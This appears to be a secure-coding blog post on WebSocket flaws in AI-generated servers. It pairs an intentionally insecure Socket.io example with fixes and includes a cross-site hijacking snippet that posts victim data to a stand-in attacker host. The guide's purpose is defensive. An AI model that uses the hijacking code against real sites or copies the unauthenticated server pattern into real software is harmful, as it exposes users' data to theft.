Quick Answer
AI-generated WebSocket servers accept all connections without authentication, have no origin validation, and broadcast messages to all connected clients regardless of authorization. WebSocket connections bypass CORS, do not send cookies by default in all environments, and maintain persistent access once established. A single missing auth check means an attacker has a permanent open channel to your server.
Why WebSocket Security Gets Skipped
Real-time features are trending in AI-generated apps: live chat, collaborative editing, real-time dashboards, notifications. AI tools generate functional WebSocket servers quickly, but real-time connections have a fundamentally different security model than HTTP requests. Every HTTP request can be independently authenticated; a WebSocket connection is authenticated once at handshake and then stays open indefinitely.
According to OWASP, WebSocket connections bypass same-origin policy restrictions that protect HTTP requests. Any website can open a WebSocket connection to your server unless you explicitly validate the origin. The Portswigger Web Security Academy identifies cross-site WebSocket hijacking as a critical vulnerability class that is frequently overlooked.
A 2024 Snyk report on open-source security found that real-time communication libraries had a 34% year-over-year increase in reported vulnerabilities. As more AI-generated apps add real-time features, the attack surface grows proportionally.
The Default AI-Generated WebSocket Server
// ❌ BAD - AI's default Socket.io setup (no auth, no origin check)
import { Server } from 'socket.io';
const io = new Server(httpServer, {
cors: { origin: '*' }, // Accepts connections from anywhere
});
io.on('connection', (socket) => {
// No authentication check - anyone can connect
socket.on('message', (data) => {
// No authorization - broadcasts to everyone
io.emit('message', data);
});
socket.on('getUsers', () => {
// No auth - returns sensitive data to any connection
const users = await db.query('SELECT * FROM users');
socket.emit('users', users);
});
});
// ✅ GOOD - Authenticated and authorized WebSocket server
import { Server } from 'socket.io';
import jwt from 'jsonwebtoken';
const io = new Server(httpServer, {
cors: {
origin: ['https://myapp.com', 'https://staging.myapp.com'],
credentials: true,
},
});
// Authenticate on connection
io.use((socket, next) => {
const token = socket.handshake.auth.token;
if (!token) return next(new Error('Authentication required'));
try {
const user = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'],
});
socket.user = user;
next();
} catch {
next(new Error('Invalid token'));
}
});
io.on('connection', (socket) => {
// User is authenticated at this point
// Join a user-specific room for targeted messages
socket.join(`user:${socket.user.sub}`);
socket.on('message', (data) => {
// Only broadcast to the user's authorized channels
const roomId = data.roomId;
// Verify user has access to this room before broadcasting
if (userCanAccessRoom(socket.user.sub, roomId)) {
io.to(roomId).emit('message', { ...data, userId: socket.user.sub });
}
});
});
Cross-Site WebSocket Hijacking
WebSocket connections are not protected by CORS. When a browser opens a WebSocket connection, it sends cookies automatically. An attacker's website can open a WebSocket connection to your server, and the browser will send your users' session cookies along with it.
// Attacker's website opens a WebSocket to your server
// Browser sends the victim's cookies automatically
const ws = new WebSocket('wss://your-app.com/ws');
ws.onmessage = (event) => {
// Attacker receives data meant for the victim
fetch('https://attacker.com/steal', { method: 'POST', body: event.data });
};
Common WebSocket Vulnerabilities in AI Code
| Vulnerability | AI Default | Fix |
|---|---|---|
| No auth on connection | Accept all connections | JWT/session validation in middleware |
| No origin validation | cors: { origin: '*' } |
Whitelist specific origins |
| Broadcast to all clients | io.emit() for everything |
Room-based messaging with authorization |
| No message validation | Trust all incoming data | Schema validation on every message |
| No rate limiting | Unlimited messages per connection | Per-connection message rate limits |
| No connection limits | Unlimited connections per user | Max connections per user/IP |
Rate Limiting WebSocket Messages
Unlike HTTP endpoints, WebSocket connections are persistent. An attacker can send thousands of messages per second through a single connection. Without rate limiting, this becomes a denial-of-service vector.
// ✅ GOOD - Per-connection rate limiting
const rateLimitMap = new Map();
io.on('connection', (socket) => {
rateLimitMap.set(socket.id, { count: 0, resetAt: Date.now() + 60000 });
socket.use(([event, ...args], next) => {
const limit = rateLimitMap.get(socket.id);
if (Date.now() > limit.resetAt) {
limit.count = 0;
limit.resetAt = Date.now() + 60000;
}
limit.count++;
if (limit.count > 100) {
return next(new Error('Rate limit exceeded'));
}
next();
});
socket.on('disconnect', () => rateLimitMap.delete(socket.id));
});
How to Secure Your WebSocket Implementation
- Authenticate every connection in a Socket.io middleware or the ws library's upgrade handler. Never accept unauthenticated connections.
- Validate origins against a whitelist. Reject connections from unknown origins.
- Authorize every action. A connected user is authenticated but may not be authorized for every operation. Check permissions per event.
- Validate every message. Parse and validate incoming message payloads with Zod or similar before processing.
- Add rate limits per connection to prevent message flooding.
- Scan your codebase. Tools like VibeDoctor (vibedoctor.io) automatically detect unprotected API endpoints and missing CORS configuration in your codebase. Free to sign up.
FAQ
Is Socket.io more secure than raw WebSockets?
Socket.io provides middleware hooks that make it easier to add authentication and authorization. Raw WebSocket (ws library) requires handling auth in the HTTP upgrade event, which is more manual but equally secure when done correctly. Neither is inherently more secure - both require explicit security implementation.
Should I use WSS (WebSocket Secure) in production?
Absolutely. Always use wss:// (WebSocket over TLS) in production. Without TLS, WebSocket traffic is transmitted in plaintext, and any intermediate network can intercept or modify messages. If your site uses HTTPS (which it should), your WebSocket connections should use WSS.
How do I authenticate WebSockets when cookies are not sent?
Send the authentication token in the connection handshake: io({ auth: { token: 'jwt-token' } }) for Socket.io, or in a URL query parameter or first message for raw WebSockets. The server validates the token in the connection middleware before accepting the connection.
Can WebSockets be used for DDoS attacks?
Yes. WebSocket connections consume server resources (memory, file descriptors) proportional to the number of open connections. An attacker can open thousands of connections without sending any messages. Implement per-IP connection limits, idle timeouts, and maximum concurrent connection thresholds to mitigate this.